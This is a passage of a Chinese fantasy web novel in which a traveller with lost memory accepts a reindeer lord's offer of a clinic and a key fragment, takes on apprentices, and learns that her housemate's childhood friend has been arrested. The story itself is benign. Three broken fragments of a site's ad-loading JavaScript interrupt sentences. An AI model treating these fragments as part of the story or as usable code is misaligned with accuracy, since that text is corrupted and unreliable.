“找我?”正蹲在地上打包行装的沈莫失惊讶地抬头,就看到了猎刀凝重又复杂的神色。 这神色让沈莫失一下子直起了身,来客不简单? 14. 真诚就是必杀技 真的是个不简单的人物呢。 坐在沙发上的沈莫失如此感慨着,努力克制住自己的眼神不要从客人的脸上移开。 可是,那对鹿角是真的很吸引她啊…… 两角自头顶斜向上伸出,微微向前弯曲,各枝有分叉,整体目测比脸还要长些,估摸着有个三十厘米,像是一对上了漆的胡桃木艺术品。 不知道摸起来会不会真的那么光滑呢?不过这么大的角,她看着和自己身高差不多,进门的时候或许还得低头。沈莫失天马行空地想着,不禁有些失神。 “是我有什么不妥吗?”注意到沈莫失的心不在焉,鹿角的主人微笑着询问道,嗓音磁性悦耳,语调柔和,不给人一丝压力。 沈莫失终于把注意力放回了主人身上,虽然那对鹿角存在感实在强烈,可这不代表面前这人其他部分就不扎眼了。 她脸型长瘦,棱角分明,如此的脸型很容易会给人以刻薄感,偏偏她嘴唇饱满丰厚,眼睛大而圆润,与脸型中和后,反而会觉得此人敦厚老实。 一身雪白的中领里衬,斜挂着鲜红色的短披肩,披肩尾端绣着金红色的规则纹路。 沈莫失也不再是之前初来乍到,一无所知的小白了,知道这身打扮在此世界算是一种挺正式的服饰,甚至没点地位的人都没资格穿。 打量得差不多了,沈莫失解释道:“没什么,只是见到您这么出名的人物,难免惊讶罢了。” 说是惊讶,沈莫失倒也懒得作出什么符合惊讶情绪的反应。陆岭当然知道不过是客套话,一笑了之。 对于这位驯鹿领主,沈莫失对她的第一印象不可谓不好。 毕竟在来到这个世界后,她是自己见到的第一位黑发黑眼的人,虽然她的发尾带点白,不算是纯黑,却还是给了沈莫失难以言喻的亲切感。 在失忆之前,她一定经常会和黑发黑眼的人相处。沈莫失很肯定这一点。 “沈女士,久仰大名,今日是我冒昧打扰了。”那双平静又睿智的眼注视着沈莫失。 “客气了,我何德何能,能被您这样的人物久仰。” 沈莫失垂眸跟她打太极,不知道她到底有什么目的,她自认为失忆以来,从没闹出过什么足以惊动领主的大事件。 至于失忆之前?那她们绝对听都没听说过对方,这都不在一个世界里。 “您对我这么客气真是让我受宠若惊,可是有什么话还是直说吧,您如果了解过我,就该知道我的性子受不了弯弯绕绕那一套。” “失礼了,”被软刀子刺了一下,陆岭面色毫无波澜,依旧是那副敦厚的温和模样,“那我实话跟您坦白吧,我是在钟鹄那听闻您的事迹的。” 钟鹄?那只白虎妈妈啊,沈莫失恍然大悟,她是领主的副手,会与领主提到她也很正常。不过她和钟鹄只有上次那么一次交集罢了。 那次她也只是作为红雪的家人出场,怎么钟鹄还会和领主谈到她? “哦?听说我的什么事?”转了一圈没想明白,沈莫失直接开问,她也很好奇自己在别人眼里是个什么形象。 她表情陈恳又疑惑,陆岭也搞不懂沈莫失是真不明白还是装不明白,猜测两方可能存在信息差,可事件敏感,对方不表态她不好直接询问,便提醒对方。 “是关于您和钟欢说过的事。” 她和钟欢说过什么事了?沈莫失皱起眉思索一番,突地睁大眼,“哦!你是说内力?” 在搞清楚紊乱症和内力这些兽人世界的问题上,钟欢给她帮大忙了。 不过由于总是与红雪扎堆在她面前出现,她对钟欢的印象是红雪的闺蜜,差点忘了人家还是钟鹄的女儿了。 “哎呀,我还以为是什么事情呢,这有什么不好直说的,我还猜了半天。” 沈莫失对此浑不在意,紊乱症啊,内力的真相什么的,她只是因为猎刀和红雪才格外关注些,并不介意这件事被她人知晓。 见对方不像是介意这件事泄密的样子,陆岭也稍稍松了口气。 “任何与紊乱症相关的事,对我们的意义都十分重大,所以钟鹄她在听闻后,才将此事报给了我……请您不要责怪她们。” “这算什么。”沈莫失摆了摆手,觉得陆岭是大惊小怪了,居然还专门上门来见她。 “我本就没有保密的打算,也从没有让钟欢妹妹为我保密过,她愿意告诉谁就可以告诉谁,我怎么会以此来责怪她。” “你这次上门难道就是为了这件事吗?”搞清了事情真相,明白了人家的目的,沈莫失也就没那么警惕对方了。 陆岭抿唇,这幅表情很容易就让沈莫失回想起了那些报纸上传唱的对方“忧国忧民”的形象。 “有部分是为了这个,不过除此以外,还想要和您做场交易。”陆岭很快恢复了成熟稳重的姿态,点头示意一旁站立的侍从。 为了与沈莫失谈话,陆岭把其他侍从都暂时安排在了餐厅处,只留了这么一位侍奉点心茶水等等。 侍从一个欠身,暂时离开了她们谈话的客厅。 沈莫失本以为这是为了支开对方,可还没来得及询问,就见到对方又进门来,和另一位侍从一起抬着一个红木箱子。 陆岭最初是由猎刀接待的,沈莫失来到客厅的时候,对方就已经是一人一侍从的状态等着她了,她并不知道其他人居然还带着这么个大箱子。 “这是?”沈莫失站起身,迟疑地看向陆岭,难道是要给她送礼? 陆岭也跟着沈莫失起立,以手势示意对方往前,“我听钟欢说,您一直在寻找您的钥匙,而两块钥匙碎片凑近时会发出光亮。” 沈莫失缓缓睁大了眼睛,“你的意思是?” “请您先验证一番吧。” 陆岭让侍从们打开了箱子,里面装着的是一个巨大的瓷瓶,做工精巧且看着年份不算短。 胸口的银环呼应着发出光亮。 沈莫失捏着银环,看向陆岭,“没错了,这就是我的钥匙之一。” 陆岭露出恰到好处的微笑恭喜沈莫失,“这是一户人家的传家宝,据说月前,这个瓷瓶突然发出了奇异的白光,主人以为是母神显灵,宣扬得邻里皆知。” “我向主人家借来一用,本来也只是猜测罢了,没想到真的是您失落的物品,请您收回吧。” 沈莫失细细打量了一番陆岭,收回了碎片,“这就是你的交易条件?我确实难以拒绝,说吧,你想要什么。” 她猜测就是关于紊乱症和内力的,难道这位领主也有位重病的母亲吗? 陆岭从侍从手中拿来一份文件,郑重地递给沈莫失,“这不算是我的条件,不过是展现我方的诚意罢了,具体的交易请您坐下慢慢看。” 沈莫失从她手中抽走文件,窝到沙发上阅读,看着看着,就不禁以一种奇异的表情去瞄陆岭。 陆岭也不介意,每次都诚恳友好地回望,看得沈莫失都有些不好意思,“啧”了一声不再看对方。 “是有什么问题吗?您提出来,我能力范围内的都会满足您。” 沈莫失叹了口气,“问题就在于,你也太客气了吧。” 她指着这份文件问对方,“直接送一栋诊所,这面积,说是个医院都不为过吧?还有附近的住房,也是直接送,除此以外,居然还有这么一大笔钱。” “就为了让我留在诊所里带徒儿?居然还不限定时间,带出一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个后想走随便我什么时候走,”沈莫失挑起一边眉毛,“你这是图什么。” 条件太优渥了也让人担心有坑。 “图您的技术。”陆岭直视沈莫失的双眼,毫不避讳地坦言。 “我了解过一些您的来历,您可能并没有意识到您为我们带来了什么改变,可这将改变无数人的人生,为了您为我们所做的事情,我将领主之位让给您都是绰绰有余的。” 说着,她又露出一个苦笑来,“可是很明显,您并不在意这些,所以我只能去搜寻您的钥匙,希望您能看在这块钥匙的份上,答应我方的条件。” 这实在是很有诚意的交易了。 沈莫失审视着面前的驯鹿领主,对方也确实是个关心领地居民的好领主,直到到目前为止,她没有察觉到对面有丝毫的坏心眼。 沈莫失叹了口气,她很难拒绝一个纯粹的好人,更何况这个人还帮她找到了一块钥匙,知恩不报也不是她一贯的作风。 “可我出行的行李都准备好了……”沈莫失低声嘟囔了一句。 察觉到沈莫失的态度有所松动,陆岭嘴角上翘继续劝说道。 “我听闻您有出行计划,在此之前,多些钱财傍身总是好的不是吗?期间,为了弥补您无法亲自去寻找钥匙的遗憾,我也会在领地内继续搜寻的。” 沈莫失轻笑一声,“那你要带一块碎片走吗,不然每次都要来找我确定也挺麻烦的吧,当然了,主要是我嫌麻烦。” 陆岭顿了顿,知道对面是发现了,“如果不介意的话,请让我为您保管吧。” “哼,你倒是很放心我。”沈莫失上下打量了一番陆岭身上的挂件,在她胸口一点,把从钟欢那收回的碎片寄宿在了她的项链上。 “作为母亲,对自己的孩子有过度的保护欲无可厚非,毕竟小孩子还没办法分辨善恶。” 陆岭为自己的副手作解释,意有所指,又向沈莫失露出个真诚的笑容,“不过我愿意相信您并没有坏心。” 沈莫失搓了搓手臂,她是真的不擅长应付陆岭这类人。 “那么,”陆岭伸出一只手来朝向沈莫失,“合作愉快。” 她的手很大,掌面宽厚,关节处还有些细碎的白色绒毛,看着就是只温暖的手。 沈莫失伸出自己的手与对方交握,不出所料,果然很温暖。 “就按照文件上的办吧,不送了。”沈莫失转头往里走,她还有件事需要确认,却又被陆岭叫住了。 “请稍等。” “还有什么事?”沈莫失回头疑惑道,该说的都说完了吧? 陆岭维持着与最初见面时一般无二的诚恳笑容,与当时的不安警惕不同,现在的沈莫失可以坦然接受对方如此眼神了。 “之前对您多有不了解之处,这次上门也确实叨扰您了,还打乱了您的计划,我实在是心有愧疚。” “So?”沈莫失不知道对方到底还要说什么。 从语气里明白了对方意思的陆岭继续往下说:“您看起来很喜欢我的鹿角,几年前我有脱落一副,它们长得很相像,不介意的话,我加工后送到您新的办公室里吧?” 沈莫失的面色一下子变了,再无法坦然地接受对方的眼神,可是一对和陆岭现在顶着的鹿角一样的角,一样光滑一样好看…… “好。”勉强挤出一个字的沈莫失无法忍受再这种馋人家身子被人家当场发现并戳穿的窘迫感,匆匆忙忙往里跑。 可是她真的无法拒绝啊啊啊! 没再管陆岭,沈莫失闷头往里冲,可一进走廊,她就恢复了冷静的神色,从一旁抓出一只狗狗祟祟的红雪来。 “那么,现在也该轮到我们了吧?” 15. 目标是拯救世界! “什么?”红雪睁大了一双狗狗眼,试图让自己显得更加无辜。 沈莫失瞄了一眼她的尾巴,骗谁呢,尾巴都夹紧了。 “跟我装什么呢,不是你帮的领主吗?” 对方直接点破,红雪也没什么喊冤的余地了,低着头折磨自己的衣角不敢去看沈莫失。 见她这幅样子,沈莫失叹了口气,去摸狗头安慰她,“怎么像是在欺负小孩子一样,我又没说要怪你。” 领主都给她说话呢,怪她不如去怪诱导小孩的大人。 要确定钥匙碎片的真假必须要有另一块碎片在场,她可不信陆岭会带着一个无法确定的东西来找她。 既然说了是诚意了,到时候诚意如果是个假的那多尴尬,以对方对这件事的重视程度与缜密的行为习惯来看,那必然是提前确认过真假了。 此前确定的碎片只有三块,她自己两块,唯一一块不在她手里的就是她放在红雪身上保护小孩的那块,完全没有猜测的余地。 至于对方为什么会帮助领主,答案也很明显了。 沈莫失弯下腰抱住情绪低落的红雪,“我知道你是不舍得我,只是以后有类似的事情,我不希望你会瞒着我,你也说了,我们是一家人不是吗?” 红雪揽住了沈莫失的脖颈,“一家人……一家人应该互相沟通。” “没错,”沈莫失笑着蹭了蹭红雪,她无意为难这个十岁的小女孩,害怕离别再正常不过了。 “不需要在我面前装成完美的好孩子的样子,我更希望听到你的心里话,你不告诉我,我怎么会知道你的心思呢?不知道我又要怎么想办法解决呢?” 红雪抿唇,回蹭沈莫失,“可是你还是要走的。” 沈莫失笑笑,避开了这个话题,“那我也希望知道你的真实想法,如果我知道你在思念着我,我肯定会多回来看看的呀。” 红雪不再说话了,窝在沈莫失怀里做一只小鸵鸟。 看着怀里的红雪,沈莫失无奈叹气,她知道红雪还是不愿意接受这一点,不过毕竟现在有了一阵子的缓冲期,这阵子多陪陪孩子吧。 说起来,下次再问问钟欢妹妹有什么想满足的愿望吧。 上次见她那么激动肯定是有想法的,不过被钟鹄打断了,既然这次陆岭都发话了,钟鹄应该不至于再把关系撇得那么清。 …… “有哇!” 钟欢凑到沈莫失身边,双手高举围着她蹦跳,像是在搞什么神秘仪式,“有有有!” 沈莫失被她转得眼晕,忙把她拦截下来,“有就坐下来好好说啊,我都要被你转晕了。” 钟欢笑得满脸憨态,被看不下去的红雪拽过来按在自己身边,“坐下!” 她乖乖地坐下了,激动地脚趾交替拍打地面,像是一只快乐的小海豹,“我想要跟着你学习。” “学习?”沈莫失摸不着头脑。 “跟着她?”红雪指着沈莫失,难以置信地问身旁的钟欢。 “嗯!”笑眯了眼的钟欢摇摇尾巴再次确定这件事。 “跟着她……”红雪不知该说不该说,欲言又止,止言又欲,“可是你是兽人呀,不能使用内力的,至于其他……你真的觉得跟她学合适吗?” 即使红雪对沈莫失有点滤镜在心,也实在没办法昧着良心说沈莫失是个好的人生导师。 人生别被她带进沟里就不错了。 “什么嘛。” 沈莫失眯着眼故作生气状,压下了红雪的脑袋瓜,顺手撸了把狗头。 “虽然从来没有教过人,但是我自认为会成为一个好老师的哦。” 红雪掰开她的手,冲笑得傻乎乎的钟欢道,“你听听她说的话,你真的要跟她学?学什么啊!” 被她这么一提醒,沈莫失也想起来了,“对哦,你要跟我学什么呢?” 钟欢两手捏拳, “张牙舞爪”了一番,“学打架!” 沈莫失更摸不着头脑了,跟红雪凑在一起,两脸疑惑地问:“哈?” 钟欢给疑惑的两人解释道:“沈姐姐能打一百个!我就想学这个,变得像姐姐一样厉害。” 她在家听到了的,连领主大人和妈妈都说沈姐姐是个厉害的人物,她可是第一次见到那位领主大人露出那么惊讶复杂的神情。 那可是领主大人诶,沈姐姐一定超级厉害啊,她以后也要成为这样的人。钟欢畅想着美好未来。 红雪闻言,表情顿时一言难尽起来,“你还真信啊……” 嘟囔完,她指着钟欢狠狠地转头怒视沈莫失,“你看看你把人家忽悠成什么样了,你的良心不会痛的吗?” 沈莫失没管红雪的吐槽,继续问钟欢:“为什么要变得像我一样厉害?为了打一百个人吗?可你完全可以找一千个人群殴嘛,学武可是很辛苦的。” “我想要成为和你、和领主大人一样的英杰。” 钟欢又大又圆润的虎眼里亮闪闪,澄澈的双眼中像是藏进了凌晨太阳初升时未灭的星点。 “只有变得更强大才能保护更多的人,拯救世界!” 沈莫失一挑眉毛,没想到啊,小孩子志向这么远大,不过,“好!我喜欢。” “答应了吗!”钟欢期待地看着沈莫失。 沈莫失咧开嘴大笑,“没错。” “师傅傅!”听到沈莫失答应了,钟欢一个 “猛虎下山”扑到了沈莫失怀里。 “虎妹妹~”沈莫失精准接过,满脸春意地猛蹭虎头,表情几乎让人想要报警。 “喂,你们听人说话啊。” 看着笨蛋和神金迅速凑到了一块的红雪绝望地深吸一口气,觉得这里好像只有她一个正常人。 说真的,她承认沈莫失的确很厉害,但这个厉害的范围绝对不会涉及到武力值。 她可是知道的,上次沈莫失和妈妈一起去打保镖的时候,她全程没有动过手的啊。 “真是的,我不管你们了啦。” 红雪扶额叹气,不再看腻歪的两人,下次还是找妈妈看着点钟欢吧,别让沈莫失把人练出什么事故来。 瞄了一眼沈莫失那细胳膊细腿的,红雪又在心里加上一句,也别让沈莫失把自己折腾出什么事故来了。 …… 为了原本的出行计划,行李都已经是打包好了的,倒也方便了沈莫失搬家。 虽然红雪和猎刀都表示不介意,或者说是很乐意沈莫失继续住在家里,不过她还是打算搬去领主送给她的新住所,实在是占据了人家的书房太久了。 反正那里距离红雪家不远,她可以经常回来看看小孩子,也方便观察猎刀的身体情况。 从家里搬出去,或许也能够让红雪逐渐适应她不在的日子。 沈莫失这么想着,毕竟碎片集齐后,她肯定是要离 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开这里的,不只是离开红雪家,而是直接离开这个世界,这可与之前所说的出行不同。 换了世界,到时候能不能再见一面都是个问题。 走前她本想要把房门口刻着端端正正“沈莫失”几个字的木牌换回“书房”牌子,结果被红雪严词拒绝,一副她要是敢换牌子就要哭给自己看的模样,她也只能作罢。 说到碎片,沈莫失不禁想起了领主送来的第四块碎片。 这块钥匙碎片十分特殊,与之前的三块都有所不同,前三块不论多少,都是有保存部分她曾经的记忆的。 第一块被她随身携带的银环,保存了她的常识记忆,使她不至于像是个初生的婴儿——鉴于她外表的年龄,可能说是智力障碍患者更为贴切——一样。 第二块附身在红雪护身符上的碎片,补足了部分常识以外的知识,让她了解到了钥匙的用法。 第三块,原本附身于钟欢的手链上,现在被她转移到了陆岭领主的项链里。 是有关一些她曾经游历过的世界的记忆,也是在这些记忆里,她获知了精神力的用法,从中也可以知道,她已经是个老道的时空旅行者了,为了学习不同世界的力量而不断穿越着。 可是领主的第四块碎片,沈莫失陷入沉思,这块碎片上什么都没有,做个比喻的话,这是一个空白的U盘。 与前三块作比较,这显然是很不寻常的。 沈莫失从内口袋里掏出那副全家福画像来,这是自她失忆起就被她随身携带着的画像,关于这幅画像的记忆也还没有回收。 记忆不齐的情况下,她甚至无法分辨这是自己画的还是什么别的人画出来的。 可无论出于谁的手笔,都会有一个问题,那就是——为什么她要保留一副除了自己谁都是马赛克的全家福呢? 搞不懂的事情还有好多,沈莫失收回了钥匙和画像,轻轻舒出一口气,压下了繁复的思绪。 还是聚焦于眼下吧,去看看她的新办公室,船到桥头自然直,现在想那么多还不如早些找到下一块碎片。 沈莫失按着领主给的地址往她的“诊所”去。 说是“诊所”,其实沈莫失更愿意把它称作一家小“医院”,据说是曾经废弃了的一处医疗设施,近期才重新被翻新,还未投入使用,就被领主送给了沈莫失。 新的住所、红雪家、诊所大概呈现一个三角的结构,正中间还有个城市公园。 沈莫失蛮喜欢这个公园的,此前就经常去逛逛,透透气,看着喷泉发呆,或者喂一喂鸟,不过从没再往外走,不知道这里还有个翻新中的医疗设施。 虽然有了份临时的工作,居住地点也变了,可是与此前的社交范围并没有太大的不同,她对领主安排的这个地址挺满意的。 慢悠悠地在公园里溜达了一圈,逗了逗几只傻鸟,她才转去了诊所的方向。 诊所已经在运转了,虽然明面上是被安排给了沈莫失,但是很显然,她是不会有这个闲心去操心诊所的运营问题的。 领主知道她嫌麻烦后,给她安排好了所有杂事,她要做的就只有教徒儿一件事。 她都没到位,自然也还没有接收病人,工作人员也不多,所以目前用到的空间很少,诊所中大半都还是空着的。 沈莫失走在空旷的走廊上,听着自己回荡在走廊里的脚步声,准备先去看看安排给她的几个小徒儿。 16. 磨刀霍霍 陆岭给她安排了八个小徒儿,年龄从十八到二十几不等。 三位猫耳娘,三位犬耳娘,剩下两个,看外表一个估计是钟欢家亲戚,另一个估计是陆岭家的。 沈莫失看着在她面前排排站抖耳朵摇尾巴的几人,觉得陆岭对自己的爱好是不是了解得过分了。 这要她怎么教出一个就当撒手掌柜啊。 她一个都放不下! 不过还是有误会在的,沈莫失在心里想到,其他毛绒绒或者带鳞的她也喜欢,她可博爱了呢。 不过想到办公室里挂着的那副鹿角,她暂时没好意思提要求说要几个其他种族的兽耳娘来。 虽然她知道陆岭估计是求之不得,希望她多带几个人出来,不过她到底还是要点形象的。 在陆岭这边暂时开不了口,不过没关系,沈莫失想到之前猎刀与她的对话。 “如果你打算带徒儿的话,方便再加一个人吗?”猎刀犹豫着对沈莫失说。 不过还没等沈莫失回复,猎刀就先收回了请求,“不,还是算了吧,太打扰你了,你也不像是喜欢教人的性子。” 虽然没打算一口答应下来,不过这么一说,沈莫失倒是有些好奇了,“做什么突然吊我的兴趣,说说吧,难道是哪位邻居听闻了这件事来问你的吗?” 猎刀摇摇头。 “那倒不是,领主已经把消息封锁起来了,外头基本是查不到的,邻居里可能只有马大妈知道一些,毕竟她很关心我,我也让她不要乱说,放心吧她口风很严的,不该说的事情从不会泄露出去。” 沈莫失回想了下自己对马大妈的印象,觉得她可能并不是很符合口风严这个评价,但到底是相处了十年的猎刀更熟悉邻居,也就没有多话。 “那是谁?说来听听,说不定我会愿意的呢。” 沈莫失好奇地问,她对猎刀的交际圈了解不算多,几个药店里的同事也都住在周围,既然猎刀说不是邻居,那她就猜不到了。 猎刀纠结了一番,还是开口道:“是我的一位故交,她在鬃狮蜥领地里做医生,她一直很关心紊乱症方面的问题。” “嗯?”听到关键词,沈莫失不禁竖起了耳朵,“我记得你只有十年前去过那边吧?” 猎刀点头,“准确地说,我是在那边长大的,十年前才搬来驯鹿领地,她、她是和我一起长大的人。” “那就是发小啊。”沈莫失惊奇地道,之前她可从来没听猎刀说过这个人。 见沈莫失一副惊讶的表情,猎刀自嘲地笑道:“算是吧,不过我们已经很久没有见过面了,甚至是通讯也只是近期才恢复的罢了。” “是希望从你这里了解到紊乱症的事情吗?” 沈莫失很是不解,连邻居都不知道的事情,远在鬃狮蜥领地的医生是怎么知道的? “不,你误会了,她没有让我来拜托你,她还不知道这件事,我们之间的交流在你到来之前就已经开始了。” 那就是猎刀自己的想法了,但猎刀可不像是个那么乐于助人的性格啊,更何况还是助一个十年不怎么联系的旧人。 “既然她还不知道这件事,即使我这边同意了,万一她不愿意呢?” 鬃狮蜥领地在最北面,距离驯鹿领地还隔了一个乌鸦领地,一般人也不会愿意大老远地跑过来。 猎刀笑了笑,露出成竹在胸的神色,“如果去问她,她肯定会同意的。” 沈莫失挑眉,“难道她是个疯狂医生?” “哈哈,那是个什么称呼。” 猎刀被沈莫失的形容逗笑了,“疯狂这个词和她可一点不搭边,一定要形容的话……” 猎刀回想着那人的作风,沉思片刻,向沈莫失形容道。 “用窝囊会比较合适吧,至于她会同意的原因……也挺复杂的,一时半会儿我说不清,但她就是会愿意的,我知道这一点。” 窝囊? 沈莫失疑惑地歪头。 虽然窝囊,但是会为了紊乱症的疗法,或者会为了猎刀的一句话,从人类聚居地的最北面跑到最南面来求学,这在这颗星球上可不多见。 这么一聊,沈莫失确实对这位神秘的医生有些好奇了,这可是猎刀除了红雪之外,愿意来麻烦她的第一个人。 “那就让她来吧,听着是个有趣的家伙。” 猎刀瞪大眼,“你同意了?” 明明来找她的是猎刀,怎么现在惊讶的也是她。 “都已经带了八个人了,到时候红雪也会来,如果再算上钟欢,那就是十个人。” 沈莫失掰着手指数她这阵子要带的小徒儿,数完后向猎刀展示她的十根手指头,“再多一个又能怎样呢?” “对了,她是什么?我是指,她是什么种族的半兽人。” 沈莫失想到这一点,好奇地看向猎刀。 猎刀放下心来,抿嘴一笑回答沈莫失。 “蛇,她是蛇族。” 收回思绪。 想到即将跑到碗里来的蛇医生,沈莫失就止不住地高兴。 来了之后她基本没见过带鳞的种族,周围不论是半兽人还是兽人,大多还是属于毛绒绒的范畴。 虽然毛绒绒也很不错,但是没有见到过有鳞一族,实在是一大遗憾。 可能是因为鬃狮蜥领地的那位暴君是有鳞一族,所以带鳞的大多聚居在北面了。 脑子里想着蛇类顺滑的鳞片,眼前看着八位摇着尾巴的兽耳娘,虽然被打乱了出行计划,但这难道就是“塞翁失马焉知非福”吗? 带着谜之微笑,沈莫失招呼面前新出炉的徒儿们。 “让我们开始吧!” …… 有事可做的时光总是过得飞快。 前提是有事可做。 沈莫失托着腮发呆,从办公室往外看去,从这个角度还隐约能看到公园里的喷泉。 陆岭确实是上心了,给她找的徒儿各个聪明又勤快,除了最开始带的时候让她忙活了一阵子,后面基本用不着她出马。 只有少数那么几个严重的患者,像是猎刀那样的情况,才会要她帮一把忙。 看着墙上那对光滑优美的鹿角,沈莫失打了个哈欠。 照这么下去,她应该很快就能完成和陆岭的交易了。 到时候就北上去乌鸦领地,这块领地据说商业格外发达,美人也多,由于两个领地毗邻,她听到了不少传闻,对此十分好奇。 还有那位鬃狮蜥领主,可能是距离远了些,所以对她的报道也格外少。 可据说鬃狮蜥领地内的烹饪水平很高,即使是街边小吃都有其独特的秘方,去过吃过的都说好。 真是跟猎刀妈妈的厨艺水平形成了显明的对比啊。 她可不信鬃狮蜥领地内的东西真的有那么好吃。 ——除非给她尝尝。 咦? 想到鬃狮蜥领地和猎刀,她才想起来,答应要来的那位蛇医生呢? 和聪明能干、说话又好听的徒儿们相处久了,又忙活了那么一阵子,她差点把这位蛇医生忘掉了。 沈莫失放下托腮的手,去翻了翻手边的日程表。 距离猎刀和她说起那位蛇医生也有一阵子了,她的第一批小徒儿都开始独当一面了,这位蛇医生怎么一点消息都没有。 沈莫失拿过一旁的电话打算联系猎刀问问这件事。 领主给她把电话也配上了,垃圾星像是点错了科技树一样,通讯技术格外不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发达,通讯设施自然也不算便宜,而且几个领地之间居然还不互通,就很离谱。 她从没想着去买一个来,反正之前她想要联系的人只有猎刀和红雪两个,又计划着要去另外两个领地逛逛,手头不算富裕的情况下,这手机对她来说性价比太低了。 结果谁知道会遇上陆岭呢,她直接给她配到位了。 真的是个不错的领主啊,沈莫失给墙上的鹿角点了个赞。 “喂,姥!”沈莫失不厌其烦地打趣猎刀。 “……沈莫失。”那头的猎刀叹了口气,也只有她会开这么幼稚的玩笑了。 “是有什么事吗?” “当然有啦,我的蛇徒儿呢?”沈莫失一手卷着发尾一边询问猎刀。 穿越来有阵子了,她的头发长长了不少,无聊的时候她就喜欢摆弄一下。 “她……”猎刀回复到一半,又突然沉默了下来。 “她不会是没同意吧?”沈莫失预感不对,不禁猜测到。 倒也不是没这个可能,毕竟十多年没见了,猎刀对这位朋友预估错误也是很正常的。 “那也没什么关系啦,我还少教一个人。” 沈莫失对此并无所谓,她的兴趣总是来得快去得也快,搁置了这么一阵子,她对蛇医生也没了最初那种兴趣了。 虽然蛇蛇很棒,但是强扭的瓜不甜,总会遇到下一条蛇的,她又不是不去鬃狮蜥领地了。 没想到那边的猎刀却是反驳了这一点,“不,她同意了。” “嗯?那为什么一直没个消息,赶路需要这么久吗?”沈莫失坐直了身子,疑惑地问。 电话那头传来一声轻叹声,“可我现在却巴不得她没同意。” 猎刀的态度不对劲,沈莫失警觉地问道:“出什么事了吗?” “她被抓起来了。” 猎刀说得格外平静,可沈莫失隐约觉得这只是表面上的平静罢了。 “因为什么?答应了这件事吗?被谁抓起来了?” 听着电话那头沈莫失不断的询问声,猎刀沉下了眼眸,回忆起久远到几乎像是上辈子的那些记忆。 “克拉芙季雅·格雷戈里·科洛莫罗。”她喃喃地吐出这个名字。 声音太轻了,沈莫失没听清楚,“你说什么?” “是我的错,这件事你别在意了,本就与你无关,我自己会解决好的。” 抛下这么一句话,猎刀率先挂断了电话。 “喂?你在听吗?”沈莫失匪夷所思地盯着无声的电话,“挂了?” 别在意这种话都说出来了,要怎么让人不在意啊? 放下电话,沈莫失回想猎刀刚才的反应,越想越是不对劲。 猎刀这人虽然看着成熟稳重,但实际上脾气火爆得很,有仇怨从来都不打算过夜的。 打一照面不知道她的底细就要来威胁她,红雪担心她找熊孩子麻烦也不敢把事情告诉给她,更别说后续给保镖们的一顿胖揍了。 现在遇到了未知的事情,天知道她能做出什么反应来。 还是要和猎刀见一面才好,她知道猎刀今天休假,大概率就在家里。 说走就走,给徒儿们留了张便签,沈莫失翻上窗沿,几个腾跃安全落地,抽空自己给自己打了个满分,顺着公园的方向奔去猎刀家。 猎刀家的钥匙她也是有留了一份的,到了就直接开门,迎面撞上了在客厅擦拭长刀的猎刀。 这一把刀明显是新买来的,前一把被她送给沈莫失防身了,后续虽然沈莫失没走成,也依旧留给了她。 新刀刀面泛着银白色的亮光,映出猎刀冷厉的猫瞳。 来得真及时,磨刀霍霍,有人要遭殃啊,沈莫失暗道。 17. 小祖宗 沈莫失反手合上大门,她没打算直接制止猎刀的行动。 ——她连发生了什么都还不知道呢。 见沈莫失进门,猎刀暂时收起了长刀,“这件事跟你没什么关系,你没必要参与进来。” “谁说我要参与进来了?”沈莫失反驳她,“我现在还不知道发生了什么呢?还有什么事情是需要瞒着我的?” “你要是知道了,肯定会忍不住插一脚的。”猎刀无奈地看着她,她多少是了解些沈莫失的性子的。 沈莫失一挑眉,“既然你都这么说了,看来我是一定要追根到底了,你如果不告诉我,我就去问陆岭,这领地内我还真不信有她不知道的事情。” “快说吧,吊起我的胃口又什么都不告诉我,你这是真不希望我参与进来还是欲迎还拒呢?” 听到沈莫失口无遮拦的用词,猎刀抽了抽嘴角,犹豫片刻,终是叹了口气作出妥协,“告诉你行了吧,真是个小祖宗。” 沈莫失熟门熟路地从冰箱里掏出饮料给两人满上,做好了吃瓜的完全准备。 猎刀手里被她硬塞了一杯果汁,这么一折腾,让她原本陷入过去回忆中沉郁的心情也缓和了些。 “我也是才收到消息不久,这么突然的事情,真要和你自己说说,也不知道该从哪里开始了。” “要不就从那条蛇开始?她被谁抓住了?” 捧着冰凉的杯子,猎刀压下了心头杂乱焦躁的思绪,尽量以沉稳的语调说出口。 “克拉芙季雅·科洛莫罗,我们一般叫她克拉法。” 沈莫失脑门上冒出一个大大的问号来,“这是谁?名字这么长。” 等等,这么长的名字,她是不是听说过一个? 翻阅了一番记忆后,沈莫失恍然大悟,“是那个暴君啊!” “暴君?”纷乱的思绪被沈莫失打断了一瞬,猎刀惊诧地看向沈莫失。 “我们聊的不是那个鬃狮蜥领主吗?”看到猎刀的神色,沈莫失有点怀疑是自己记错了。 猎刀似乎是想笑,但是又想到了什么,笑意突兀地消失了,“现在她也被称作暴君了吗?” 沈莫失摆摆手辟谣。 “那倒不是,只是她的风评听着着实不太友好,你知道的,肆意妄为,连领主副手都能随意打杀了什么的,我记不住她的名字,就随意给她起了个外号。” “难道这个外号在这里有什么特殊的含义吗?”猎刀听了后第一反应居然是想笑? “我不知道,我并不是很关注她的消息……或者说,关于鬃狮蜥领地内的一切消息,我都不关注。” 摩挲了一番手中的饮料杯,猎刀向沈莫失解释道:“至于暴君这个外号,在我们这辈人里,是指向另一个人的,所以我一时没反应过来。” 说这番话时,猎刀神色阴郁,一向犀利的猫瞳中一丝光都透不进去,不知注视着什么方向。 沈莫失见状,迅速岔开话题,“这个以后再谈,现在我们不是在说那条蛇吗?说起来这么久了,我连她叫什么都还不知道呢。” 猎刀恍惚一瞬,终于回过神来,努力露出个轻松的笑容掩饰失态,“你说的没错,还是先聊聊她的事情吧。” 清了清嗓子,猎刀继续解释道:“她叫鳞,从小我们一起长大,我们都是孤儿,我是指我、鳞,还有克拉法。” “嗯?”沈莫失战术后仰,她没想到猎刀妈妈的过去居然能和那位暴君领主扯上关系。 看她夸张的表情,猎刀知道她误解了。 “我跟克拉法的关系并不亲近,她可能都不记得我了,只是当年她就是个风云人物,所以我对她印象格外深刻罢了。” 